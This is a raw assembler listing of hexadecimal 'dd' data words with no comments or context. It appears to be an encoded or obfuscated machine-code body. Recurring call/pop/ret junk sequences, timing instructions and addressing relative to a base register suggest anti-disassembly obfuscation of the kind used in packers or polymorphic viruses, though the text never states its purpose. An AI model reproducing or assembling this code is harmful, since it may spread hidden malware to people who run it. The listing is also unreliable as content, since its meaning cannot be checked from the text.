		dd 95FF0648h, 6481E01h,	0E968F780h, 0Dh, 5FD6F179h, 0DD025D44h
		dd 0E05169B1h
		dd 8D296153h, 64824F9h,	9E890h,	0A9990000h, 0E15873A2h
		dd 8BFA8EC9h, 0B6505BDAh, 0FCBA903Ch, 8B1009CAh, 480B7185h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0A980041Dh, 0C00BFE8Ah, 6A840Fh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0A1ADE4C3h, 607C6623h, 0E9D76405h, 12h, 64971C38h, 7E849999h
		dd 4B26A166h, 9A64423Dh, 95FFA9B3h, 6482B91h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 68C35141h, 694B317h
		dd 0B07C96F4h, 0D9BF0F82h, 1B3185C7h, 10648h, 80520000h
		dd 835AD8F6h, 481959BDh, 840F0006h, 4Eh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0FEC35242h, 49A9DE07h
		dd 0F021E75h, 681h, 698D2900h, 0FF064804h, 48299995h, 0DE806h
		dd 771C0000h, 930E5EF0h, 0A73C94D1h, 0F951EBEh,	82h, 0BD835A00h
		dd 6482741h, 1A840F00h,	66000000h, 95FFD78Bh, 64826D9h
		dd 0B8D0Fh, 6E90000h, 98000000h, 5E396686h, 0D9BD8395h
		dd 64809h, 41840Fh, 66600000h, 0BD8BFB8Bh, 6480F71h, 0A1BD8361h
		dd 6480Fh, 29850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 150424h, 52420000h, 0FF1325C3h, 4814CD95h
		dd 0DAE38106h, 8360BD57h, 4818BDBDh, 840F0006h,	31h, 9800Fh
		dd 850F0000h, 3, 8943F780h, 482C758Dh, 0A1858106h, 3064828h
		dd 0F000040h, 8581DEB7h, 6480021h, 4003h, 56D28166h, 0F310FCAh
		dd 8D8DD9BFh, 6485B96h,	1575B529h, 1890648h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0CEC35343h, 0E0E78FAAh
		dd 1F342789h, 6840F7Ah,	0B000000h, 482C3195h, 0BAC23306h
		dd 65A2E638h, 66044189h, 0FFC2EBAh, 50006A31h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0DC3FF262h
		dd 9638A766h, 0B99D8918h, 8D064810h, 485BA38Dh,	0F2816606h
		dd 1897AFEh, 0C23348B3h, 418934B2h, 759D8B04h, 8306480Ah
		dd 480E8DBDh, 840F0006h, 2Dh, 95FF0CB3h, 6482B31h, 14E8h
		dd 4CC85500h, 4920E171h, 0F4917A8Eh, 0A7853A9Bh, 6D9920D1h
		dd 0DF80536Bh, 895A5BFFh, 4800618Dh, 91BD8306h,	1064824h
		dd 36850Fh, 0F3810000h,	55E9F53Eh, 2BE9h, 299D2900h, 8B06482Fh
		dd 485C99B5h, 6C706h, 8B000000h, 485AA4B5h, 6C706h, 0CF000000h
		dd 129EBB66h, 9D8BDA8Bh, 648272Dh, 1B31BD83h, 0F000648h
		dd 0F384h, 83D38A00h, 483221BDh, 850F0106h, 0D1h, 0FE8h
		dd 9583EB00h, 0B968050Ch, 6C55BBE9h, 0C72824E0h, 5BFCC380h
		dd 4AFC8D8Bh, 9D8B0648h, 6480EB1h, 810001C6h, 0E2EBA3F3h
		dd 0BD896067h, 6481B1Dh, 3823FC68h, 0FE844h, 285F0000h
		dd 18DB7AF8h, 4A75DD9Eh, 8985BCF9h, 505250D2h, 0E8310F5Ah
		dd 6, 59CFCD5Eh, 5A5A16C9h, 34815A58h, 38237C24h, 69BD8944h
		dd 6A06482Ch, 0DE8B53FFh, 195FF5Ah, 6A06481Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0A18C353h, 3DE6F416h, 0B531308Fh, 64805D1h, 9D958B61h
		dd 306482Bh, 480D919Dh,	4D95FF06h, 51064830h, 25818D89h
		dd 0F5A0648h, 8Dh, 0FC8D8B00h, 0FC06484Ah, 0B70F01FEh
		dd 0C5BD83DEh, 106480Eh, 6850Fh, 958B0000h, 6482909h, 958BC08Bh
		dd 64824D1h, 837ED280h,	4820E9BDh, 9750006h, 2C61BD83h
		dd 74000648h, 8B53501Ah, 0A1858BC0h, 89064828h,	4828A185h
		dd 2C9D8D06h, 0FF064AB0h, 83585BD3h, 482C61BDh,	18740006h
		dd 858B5350h, 64828A1h,	28A18589h, 9D8D0648h, 64AAD1Bh
		dd 585BD3FFh, 10E8h, 5D7B8800h,	3CA8D13Fh, 1C5A47FBh, 119E8439h
		dd 3BCB8126h, 5B563332h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0F9C35747h, 0CE8D7h, 91B0000h, 751BA34Eh
		dd 0DF90F438h, 8D014A2Ch, 6482EF5h, 6AC08B5Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 7ECCC351h, 0BEA18EFEh, 0A6BB6656h, 0BD835AC6h, 6481B31h
		dd 35850F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8B1CC352h, 482E8595h
		dd 21BD8306h, 6481Bh, 6840Fh, 958B0000h, 6482B55h, 1B31BD83h
		dd 0F000648h, 3184h, 66576000h,	4F83D981h, 8D8B605Ah, 6482919h
		dd 6161F08Bh, 32B1BD83h, 0F000648h, 1184h, 6E900h, 0E6750000h
		dd 11F2349Ch, 239D8509h, 0BD830648h, 6481B31h, 1A840F00h
		dd 3000000h, 48281D95h,	0BD83F906h, 64832B1h, 6840F00h
		dd 89000000h, 482375BDh, 31BD8306h, 6481Bh, 17840Fh, 9EB60000h
		dd 2E6DBD83h, 0F000648h, 884h, 8B23B700h, 4829F595h, 31BD8306h
		dd 6481Bh, 3C840Fh, 0D88A0000h,	25E9BD83h, 0F000648h, 2D84h
		dd 0FFD08B00h, 48211D95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 2F08F8F6h
		dd 31D1B501h, 0C08B0648h, 83B1F780h, 4820E9BDh,	9750006h
		dd 2C61BD83h, 74000648h, 8B53501Ah, 21858BC0h, 89064800h
		dd 48002185h, 939D8D06h, 0FF064AB0h, 83585BD3h,	482C61BDh
		dd 18740006h, 858B5350h, 6480021h, 218589h, 9D8D0648h
		dd 64AAD34h, 585BD3FFh,	3EEA8166h, 259D8BA8h, 8B06482Ch
		dd 48241D9Dh, 0FC08B06h, 9D8BD2BFh, 6482859h, 1B31BD83h
		dd 0F000648h, 50884h, 4BBB6600h, 0B1BD837Bh, 206480Fh
		dd 27840Fh, 57600000h, 655B58Bh, 8B5E0648h, 481E218Dh
		dd 0BD836106h, 6482491h, 0A850F01h, 66000000h, 89FF83BBh
		dd 482825BDh, 0B1BD8306h, 6481Fh, 97840Fh, 830F0000h, 6
		dd 2E959D8Bh, 0CE80648h, 42000000h, 6467AAD6h, 440BB629h
		dd 0B237B579h, 0F605A43h, 8D8BD6BFh, 6484AFCh, 1FEF1B2h
		dd 5810Fh, 31BA0000h, 0BB08ECC7h, 6BB89A24h, 0F8781568h
		dd 81D18A39h, 78952434h, 9D8B39F8h, 648151Dh, 6AFF6Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 8FDDC8C3h, 81668BD0h, 891E87EAh, 481DA1BDh, 0E9C28006h
		dd 1E0195FFh, 880F0648h, 6, 2B2DB589h, 8B610648h, 953160D9h
		dd 6482931h, 4AFC8D8Bh,	958B0648h, 6480615h, 9D8B01FEh
		dd 64824E9h, 9FCB2E68h,	6AE0BB3Fh, 3481124Dh, 9FCBAE24h
		dd 51006A3Fh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0DE4A488Ch, 0F7B22B6h, 0D88B66F1h, 6AFF6Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 664EF0C3h, 0D16AF281h, 4D9D8960h, 60064818h,	880Fh
		dd 81660000h, 61752BE2h, 195FF61h, 6606481Eh, 2A0BD381h
		dd 58E0Fh, 81660000h, 615E9DF3h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 5EC35343h, 2A9F8DF1h, 8D694517h
		dd 4821E5BDh, 61958B06h, 8B064815h
		dd 6A1C4Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 503ADCC3h, 21215D1Dh, 0F06503Dh, 28Ah, 6AD08B00h
		dd 57006A01h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 2FCDBE74h, 68C0Fh, 9D890000h, 6480E65h
		dd 0D18B5091h, 53006A91h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 9B63DD94h, 898AE67Bh
		dd 482009BDh, 99858D06h, 6A064B3Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FFE9C355h
		dd 0E0BA66D0h, 204F8B5Ah, 1889BD89h, 0BA660648h, 36AE1ABh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 18C35545h
		dd 2A8C72A6h, 0B99D2B66h, 91064808h, 14E95250h,	74000000h
		dd 6DF4731Eh, 25277018h, 84467F6Dh, 0A15F59EDh,	0FE15D5Dh
		dd 68A0F31h, 50000000h,	5A310F52h, 50585A58h, 50006A91h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 42C7652Eh, 0F1DDC296h, 9D8BFD72h, 6480CFDh, 58E0Fh
		dd 81660000h, 8DDB22F3h, 4B3D9985h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0B21E254Eh
		dd 820F573Bh, 8, 258D2952h, 5A064814h, 7E9D0FFh, 4E000000h
		dd 0AA019016h, 0BD29C7E8h, 64824EDh, 21E5BD8Dh,	6A0648h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 6EFE5EC3h, 19C59D8Bh, 8A0F0648h, 8, 91B58950h, 5B06481Dh
		dd 891C4F8Bh, 480A5585h, 0F8016A06h, 0D1D5BB50h, 0C8963A9h
		dd 7E924h, 353C0000h, 1F3E77CAh, 99858D84h, 6A064B3Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 2773C350h, 0D4DFC88Eh, 9958B60h, 8B06482Dh
		dd 483051BDh, 0D0FF6106h, 68B0Fh, 958B0000h, 6482D79h
		dd 66204F8Bh, 47B2DB81h, 1E8C381h, 36A2A15h, 1A8D9503h
		dd 50910648h, 0DE952h, 44450000h, 59268F03h, 36A2EAE2h
		dd 0FC6C8CFh, 0CCBB6631h, 50585A8Ch, 2800Fh, 0D18B0000h
		dd 55006A91h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0A5D1D2E0h, 8D8A8E19h, 4B3D9985h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0F882F68h, 6599A8A4h, 0BD897CC8h, 64805DDh, 0DF8B6653h
		dd 89D0FF5Ah, 4823B98Dh, 0FC8D8B06h, 6606484Ah,	0FE8DC9BBh
		dd 0E9BD3101h, 8B06480Fh, 484AFC85h, 3BE38106h,	6626371Eh
		dd 6B9ADB81h, 0BE900FEh, 9000000h, 173FF3h, 3FB884F3h
		dd 16ADE42h, 0B75958Bh,	4E80648h, 0FF000000h, 60FFFF9Fh
		dd 50605F50h, 5A310F52h, 0F525058h, 61585A31h, 66575061h
		dd 5B8480BAh, 424448Bh,	8BD08Bh, 0C18B6660h, 0B8DDF1BBh
		dd 44896107h, 8B660424h, 8F0F58D8h, 2, 858DD1B3h, 64B3DA3h
		dd 8AD0FFF9h, 21BD83F4h, 6481Bh, 0C2840Fh, 95310000h, 6481F71h
		dd 1949BD83h, 0F010648h, 0AF85h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 564A3036h
		dd 8D8DAB13h, 64B3DADh,	27BD9529h, 36A0648h, 16AC4B2h
		dd 0D1FFE6B2h, 158A0Fh,	10E90000h, 0EA000000h, 0FB840491h
		dd 95FE47CFh, 2DEC9E19h, 6A84EC47h, 55006A01h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0F5CB3FF7h
		dd 8BF20339h, 480D3195h, 0F8016A06h, 0EF80D1FFh, 5FB1E842h
		dd 6AFA13h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0F827CDC3h, 9D8B1DA3h, 64818A1h, 0E960206Ah
		dd 0Eh,	0C8505F82h, 0B1DB59E1h,	0BBF3C53Fh, 8D2B9CE7h
		dd 6480E51h, 6AFF6A61h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 1A64C352h, 66FF4184h
		dd 91E6CA81h, 1E0195FFh, 0BF0F0648h, 0B8D1h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 448180C3h, 0B589518Fh, 648227Dh, 840FC00Bh, 5Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 73C35646h, 82996FD0h
		dd 15958D89h, 0BD830648h, 648277Dh, 29840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 985BC351h, 286595FFh, 95090648h, 6481A69h
		dd 0FD5858Bh, 8B660648h, 0C6D9h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 1Bh, 0A2C35040h,	0BC805189h, 813FAD42h
		dd 20FAC4C3h, 181BA2Eh,	33584B2Ah, 4809499Dh, 0D98C6606h
		dd 0AE8F860h, 0C3000000h, 0FEC97144h, 0CF3280A7h, 8B0F14h
		dd 5E000000h, 4C1F661h,	56840Fh, 7E90000h, 0DA000000h
		dd 3F39B998h, 45E9739Dh, 0B6000000h, 79B58B15h,	89064822h
		dd 480E7585h, 80C68106h, 6A000011h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 9A03C357h
		dd 2795958Bh, 0DF8B0648h, 6C7h,	9D8B0000h, 6482381h, 56006A5Eh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 28BCC6E6h, 0FA8AC82Fh, 83DF8B66h, 840F00F8h,	0B04h
		dd 24459D8Bh, 0F8830648h, 75850F01h, 6A000001h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 6B94C350h, 0B8CCB217h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 72C35242h
		dd 840FC00Bh, 0D9h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 37C35040h, 5AFA2841h,	6A10BA66h, 0F01F883h
		dd 0C384h, 0D8D2900h, 8B064815h, 4832799Dh, 3F88306h, 51840Fh
		dd 0B2530000h, 0C02B5A8Dh, 0D2816660h, 8D2B40ACh, 64805ADh
		dd 0D9BF0F61h, 7974BD8Dh, 8509005Bh, 64827F1h, 6AE7FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0DA52C1C3h, 9D8BD7E8h, 6480EEDh, 6615F280h, 0B86907BAh
		dd 1, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 19h
		dd 79C35141h, 99358500h, 0D38166A8h, 952BE4BDh,	6481F81h
		dd 7974BD8Dh, 9D8B005Bh, 6480615h, 8C0FE7FFh, 1, 88BD8DF5h
		dd 0B2064841h, 9D8B50CBh, 6482475h, 303E95Ah, 0FA8A0000h
		dd 4B5785C7h, 50648h, 8B510000h, 482C519Dh, 13E95B06h
		dd 22000000h, 0A722AA43h, 0D418C1F4h, 4852EFCCh, 0F41B4C0h
		dd 5B860E7h, 66000000h,	1E88E281h, 916E9h, 0FDCB8000h
		dd 0F02F883h, 12485h, 0DA8B6600h, 6E8h,	385D4A00h, 8BF6688Ch
		dd 480F459Dh, 0B85B06h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7D55C353h
		dd 0A1952915h, 0B064800h, 9E840FC0h, 0E9000000h, 0Fh, 9C0F70B0h
		dd 0AF5C080Fh, 4D15E54Dh, 8BCA79E3h, 480D5195h,	1F88306h
		dd 0FF52840Fh, 0F883FFFFh, 0EC840F03h, 6AFFFFFEh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 66DFC353h, 0C02BD68Bh, 0BE8h, 472E3900h, 0DD9E997h
		dd 0A970BA46h, 2A2D9D89h, 8D5B0648h, 5B7974BDh,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0F08A94BEh, 0B860E7FFh, 4080B8Ah, 2D34D281h,	16176D2h
		dd 4814D1B5h, 80BD8D06h, 0F064843h, 685h, 99D8900h, 0E9064807h
		dd 1C1h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	50C35242h, 68C2638Eh, 89C439DCh, 482F1585h, 3F88306h
		dd 2B850Fh, 8E0F0000h, 0Bh, 0B9BD3160h,	0F06482Ah, 8161DEBFh
		dd 0C8834BF3h, 14BD8D7Ah, 0F064845h, 6AE9DAB7h,	81000001h
		dd 29F27FF3h, 5F88372h,	2E850Fh, 81660000h, 0E8CD3EE3h
		dd 0Fh,	0D4E6BDBDh, 0AC4BC82h, 0EF3B6A1Ah, 8B05F44Bh, 4814199Dh
		dd 84E95B06h, 0F000007h, 958BDEBFh, 6482AD5h, 0F06F883h
		dd 6485h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 9F5C9807h, 75514423h, 859D8B36h
		dd 8D06481Bh, 48470CBDh, 0A1BD8906h, 0E9064827h, 0E9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CCC35343h
		dd 0C9B5892Eh, 2906480Ah, 482DE9BDh, 7F88306h, 37850Fh
		dd 95030000h, 6481A8Dh,	1601BD8Dh, 8B660648h, 124E9D3h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0B55857C3h, 9D269BC0h, 0AF88314h,	77850Fh
		dd 8B20000h, 4904BD8Dh,	6A0648h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0A80D53C3h, 0E9BA0268h
		dd 13h,	0E5D2CC49h, 4910B764h, 0EE55C9Eh, 0A7E3D3A8h, 8B2787EFh
		dd 48060995h, 2BE906h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 247730C3h, 77729361h
		dd 89EBF276h, 480FAD85h, 85015706h, 6480025h, 0F7D634B9h
		dd 83D08A6Eh, 840F003Fh, 67h, 40D08160h, 237C4841h, 482A75BDh
		dd 0F306106h, 65CB8166h, 0FC9D161h, 68Bh, 21850100h, 47064821h
		dd 6098589h, 958B0648h,	6480045h, 0FFFFC2E9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 42BC8051h, 26E13FADh, 9890Fh, 8F0F0000h, 3, 5F80EB80h
		dd 0BD89DF8Bh, 6484B00h, 0E059D8Bh, 830F0648h, 6, 1BF9958Bh
		dd 8D8D0648h, 6482F9Dh,	0B5FF4DB3h, 6482A69h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 9AC35141h, 89493D50h
		dd 481E758Dh, 17858D06h, 50064AAAh, 5198BD8Dh, 8D8D0648h
		dd 6486CF8h, 831ABCB8h,	30CF2B54h, 47C8D007h, 8DF87549h
		dd 486C90B5h, 108D8D06h, 2B06486Dh, 33A4F3CFh, 0B8C9h
		dd 0C00B0000h, 0BD834674h, 648277Dh, 0FF067400h, 48286595h
		dd 0B58B06h, 8D06484Bh,	4AAA1785h, 8DD0FF06h, 48410B85h
		dd 0C7D0FF06h, 48298985h, 106h,	4DA58B00h, 8B06480Fh, 480C95B5h
		dd 71AD8B06h, 33064819h, 0CC2C0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0C7C35545h,	2DB9B529h, 0CDBB0648h
		dd 8B4CF847h, 482EE59Dh, 6DBD8306h, 6481Ah, 12840Fh, 9D0B0000h
		dd 648093Dh, 0C4D95FFh,	95030648h, 6482161h, 2F19BD83h
		dd 0F000648h, 1A785h, 0A0F68000h, 1949BD83h, 0F010648h
		dd 19785h, 0D5BD8300h, 6482Bh, 18A840Fh, 0BF0F0000h, 53BD83D2h
		dd 6484Bh, 17A840Fh, 95890000h,	6482A95h, 0AA17858Dh, 6A064Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0F697EEC3h, 0B58BE0h, 6A06484Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 939CC357h
		dd 0F46CC9DFh, 0FFD1BF0Fh, 51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 74F88278h
		dd 89F8F081h, 4823B9BDh, 6D85C606h, 54064827h, 68D2BF0Fh
		dd 0F3E2A9DEh, 3870Fh, 8B660000h, 240481DEh, 0B6C1516h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0B5C35545h
		dd 0EE836E95h, 21B5FFF7h, 0F06482Ch, 585h, 0C3816600h
		dd 858DC098h, 6483878h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 6CC35545h, 0BB5CA77Ah, 12443294h, 6AD0FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 4616BCC3h, 810FAF3Dh, 6, 1005958Bh, 8D290648h, 6482B65h
		dd 8501006Ah, 6481969h,	0D78BFF6Ah, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 51B195C3h
		dd 37165F58h, 8166C055h, 0FF3DD6E3h, 4806DDB5h,	0DAB70F06h
		dd 2A6995FFh, 0B5890648h, 6481BE9h, 4B00B58Bh, 952B0648h
		dd 64824D1h, 38F0FC3h, 0F000000h, 0B58BD1B7h, 6480FD5h
		dd 0F60BD18Ah, 1E840Fh,	860F0000h, 4, 64ECBB66h, 0F0006C6h
		dd 0B8Ah, 58B0F00h, 0BB000000h,	1B8CF379h, 4B088589h, 0F2800648h
		dd 0F88353h, 316840Fh, 0BD290000h, 6481E5Dh, 101958Bh
		dd 0B80648h, 50000000h,	835BD88Bh, 840F00F8h, 0C8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 8DC35545h, 897019CFh
		dd 480D11B5h, 2F88306h
		dd 69850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 180424h, 56460000h, 1EEBF7C3h, 9D8BD738h, 6481B9Dh
		dd 4183858Dh, 0D08A0648h, 6AF28166h, 9292D91h, 0FE80000h
		dd 32000000h, 8321EF71h, 0AE5A08Bh, 0FCFB8351h,	8A0F8616h
		dd 3, 5AD18B66h, 89D78B50h, 95232404h, 64819D9h, 64BAC3F8h
		dd 0B826EB5Ch, 0
		dd 7E9h, 34182100h, 4CB6E04Eh, 10E9h, 0E6AC7A00h, 5B0330E5h
		dd 76D22F72h, 37DB27h, 236E9D3h, 85890000h, 6481BC9h, 1B8h
		dd 0B9958B00h, 8D064806h, 484188BDh, 0E9958B06h, 0E9064826h
		dd 108h, 731CE281h, 9D8B27B4h, 648199Dh, 0F02F883h, 7B85h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0C3818289h, 78F8EBCAh, 4380BD8Dh, 6A0648h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 83BB8FC3h, 38AAF125h, 28F0Fh, 0D88B0000h, 0FE960h, 12250000h
		dd 58C5C26Eh, 4F285CF3h, 1D74245Ch, 39950159h, 6106482Bh
		dd 7FE9h, 81665300h, 5B8A3AF2h,	0F03F883h, 3A85h, 498D3100h
		dd 8D06480Ch, 484514BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0B02ACE51h, 8589BA40h
		dd 64805C9h, 37E9h, 83A8B200h, 850F05F8h, 2Ch, 0E969C280h
		dd 0C3h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0B2C35545h, 4D2ABD19h, 95195A32h, 50006A57h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 3FE3ABF9h, 7C757787h, 0BA66C199h, 34B919D1h,	6A6EF7D6h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0A33EC356h, 9D8B808Bh, 6483059h, 0F003F83h
		dd 4284h, 0A133BB00h, 0F3019D0h, 0C9D1DA8Bh, 59D958Bh
		dd 6A470648h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 1539C352h, 158BB6A9h, 1BE08953h
		dd 0FFFFBBE9h, 618529FFh, 83064829h, 850F05F8h,	64h, 0EDFC7ABAh
		dd 0D98C6649h, 2EEB7FBBh, 4C1F604h, 1A850Fh, 0BEB30000h
		dd 5DD9D8Bh, 0B80648h, 0B2000000h, 3AE99Eh, 95030000h
		dd 6482D01h, 29858Bh, 0BF0F0648h, 0D19523D1h, 0FF06482Ah
		dd 56006AE0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 632F89F8h, 983F4EEDh, 2A69BD83h,	0F000648h
		dd 0EC85h, 0D5950900h, 90064810h, 5650D98Bh, 820F905Bh
		dd 0Bh,	58C0Fh,	81660000h, 0C6971CC3h, 48276D85h, 6A4506h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0FEC608C3h, 3611CE06h, 661ED07Ch, 6824B6BAh,	834CA040h
		dd 13E8h, 6E09FB00h, 8A1FC4EFh,	78CE0FB2h, 8663F27Eh, 0E46218CFh
		dd 815AD18Bh, 0C9292404h, 0BD890B25h, 64821E1h,	2C21B5FFh
		dd 9D8B0648h, 6481A95h,	3878858Dh, 6A0648h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 80FCF7C3h
		dd 0DB8167D2h, 59A42A84h, 0FF8DDB80h, 25958BD0h, 8906482Eh
		dd 482A6985h, 0B1853106h, 58064805h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 5EC35040h, 8B66A55Ch, 57BD83D0h
		dd 6484Bh, 68840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0B3FFE9C3h, 5ACA817Ch
		dd 0F52F73BAh, 6DDB5FFh, 0B70F0648h, 61BD89D0h,	0FF06481Ah
		dd 482A6995h, 6E906h, 9EEC0000h, 9110B09h, 12E8h, 73DED100h
		dd 2CF6BB34h, 9A26F93h,	36856307h, 0E92097C8h, 5, 0DDAA044Fh
		dd 0F8835BA9h, 35850F00h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7FD6C355h
		dd 0FE9h, 8C950300h, 6EF63DD7h,	3C3CDB9Eh, 5C7BD98Fh, 23CDBD83h
		dd 0F000648h, 8684h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 1F97DD20h, 23CDB5FFh
		dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0D7217BC3h, 1B873F8h, 0F000000h, 0B89h, 5810F00h
		dd 0BB000000h, 158CB478h, 26DE9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 2C4B2726h
		dd 1955BD89h, 0FFF50648h, 4806DDB5h, 13E806h, 0A4B00000h
		dd 0D741ACABh, 0CCA14C98h, 8502F5AAh, 42F787BFh, 58D0F66h
		dd 66000000h, 0B8BFCB81h, 0DDB5FF5Bh, 6A064806h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0FFA5C350h, 0D2815F1Fh, 0C3B0D11h, 39CB8166h, 69B5FFA2h
		dd 8106482Ah, 3B876BDAh, 1DCE93Eh, 8D290000h, 6481E9Dh
		dd 839BB35Fh, 4832D5BDh, 850F0006h, 0D5h, 14D1958Bh, 0B5310648h
		dd 64821B5h, 276D85C6h,	0F4D0648h, 687h, 39BD0900h, 0E806481Bh
		dd 4, 0A43576A8h, 1FBA6650h, 24448BEFh,	9B9BB04h, 8B29B1h
		dd 89D68B66h, 0E8042444h, 5, 30F956B0h,	0F5BA66B7h, 6A585A73h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0CECCC351h, 0DF2183Fh, 9D8B5071h,	6480D6Dh
